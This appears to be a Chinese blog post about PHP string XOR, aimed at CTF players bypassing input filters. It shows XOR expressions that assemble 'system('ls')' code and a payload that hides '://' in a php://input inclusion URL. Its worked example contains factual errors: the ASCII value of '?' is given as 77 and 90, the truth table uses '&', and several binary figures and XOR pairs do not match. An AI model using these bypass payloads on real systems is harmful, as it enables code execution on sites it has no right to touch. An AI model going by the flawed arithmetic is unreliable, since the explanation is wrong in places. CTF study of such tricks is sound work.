PHP异或
PHP異或流程:
在PHP中,兩個變量的值進行異或時,會先將兩個變量的值轉換為ASCII,再將ASCII轉換為二進制,對兩對二進制數據進行異或,異或完,再將結果轉為ASCII,最后將ASCII轉為字符串,即為最終結果。
異或運算法則:
0&0=0;1&1=0;0&1=1;1&0=1
兩個二進制數相同時,異或為0,不同為1
例:php中的字符串A和字符串?
<?php echo "A"^"?"; //輸出:~ /* (1) A的ASCII值:65 ?的ASCII值:77 (2) 65轉為二進制:1000001 90轉為二進制:0111111 (3) 二進制異或結果:1111110 二進制轉為ASCII:126 ASCII轉為字符串:~ */ ?>利用異或制作php執行代碼:
<?php echo ("<"^"a")."<br/>"; echo ("?"^"d")."<br/>"; echo ("p"^"1")."<br/>"; echo ("h"^"1")."<br/>"; echo ("p"^"1")."<br/>"; echo (" "^"a")."<br/>"; echo ("s"^"1")."<br/>"; echo ("y"^"1")."<br/>"; echo ("s"^"2")."<br/>"; echo ("t"^"1")."<br/>"; echo ("e"^"1")."<br/>"; echo ("m"^"6")."<br/>"; echo ("("^"a")."<br/>"; echo ("'"^"a")."<br/>"; echo ("l"^"1")."<br/>"; echo ("s"^"1")."<br/>"; echo ("'"^"a")."<br/>"; echo (")"^"a")."<br/>"; echo (";"^"a")."<br/>"; echo ("?"^"b")."<br/>"; echo (">"^"c")."<br/>";echo "<br/>";echo ("]"^"a")."<br/>"; echo ("["^"d")."<br/>"; echo ("A"^"1")."<br/>"; echo ("Y"^"1")."<br/>"; echo ("A"^"1")."<br/>"; echo ("A"^"a")."<br/>"; echo ("B"^"1")."<br/>"; echo ("H"^"1")."<br/>"; echo ("A"^"2")."<br/>"; echo ("E"^"1")."<br/>"; echo ("T"^"1")."<br/>"; echo ("["^"6")."<br/>"; echo ("I"^"a")."<br/>"; echo ("F"^"a")."<br/>"; echo ("]"^"1")."<br/>"; echo ("B"^"1")."<br/>"; echo ("F"^"a")."<br/>"; echo ("H"^"a")."<br/>"; echo ("Z"^"a")."<br/>"; echo ("]"^"b")."<br/>"; echo ("]"^"c")."<br/>"; /*輸出 ] [ A Y A A B H A E T [ I F ] B F H Z ] ]< ? p h ps y s t e m ( ' l s ' ) ; ? > */echo ("AYAABHAET[IF]BFHZ]]"^"ad111a112116aa11aaabc"); //沒有輸出,因為<?php system('ls');?>是代碼,已經執行了,但var_dump()會顯示有21個字符,或者兩邊都刪除前兩位,即可看到值 ?>制作時,^左邊為我們想要的php字符,右邊可設置1~9/a-z/A-Z,只要得到異或出來的值即可,之后將得到的值替換原來^左邊的值,再次異或,即為你想要的php字符。如上面的"<"^“a”,異或后的值為],再將原來的<替換為],"]"^"a"的結果為<,所以我們繞過時,可以使用異或來得到我們想要的值
打CTF時,若遇到白名單過濾,但沒有過濾\^,可以使用該方法繞過,例如:http://x.x.x.x/?page=php://input,如果目標過濾:和/時這時,就可以使用http://x.x.x.x/?page=php"[NN"^"aaa"input,這里使用"[NN"^"aaa"異或后的值即表示被過濾的://,但需要注意的是,目標不能同時都過濾單雙引號
但我們可以拼湊使得異或兩邊的都是英文字母,這樣就不需要加單或雙引號例:
到時候就可以也繞過單雙引號,payload類似http://x.x.x.x/?page=@xx^@xx這樣就可以了
總結
- 上一篇: 死亡搁浅导剪版和原版区别
- 下一篇: 新新魔塔宝石锄头干什么的 新総合物流セン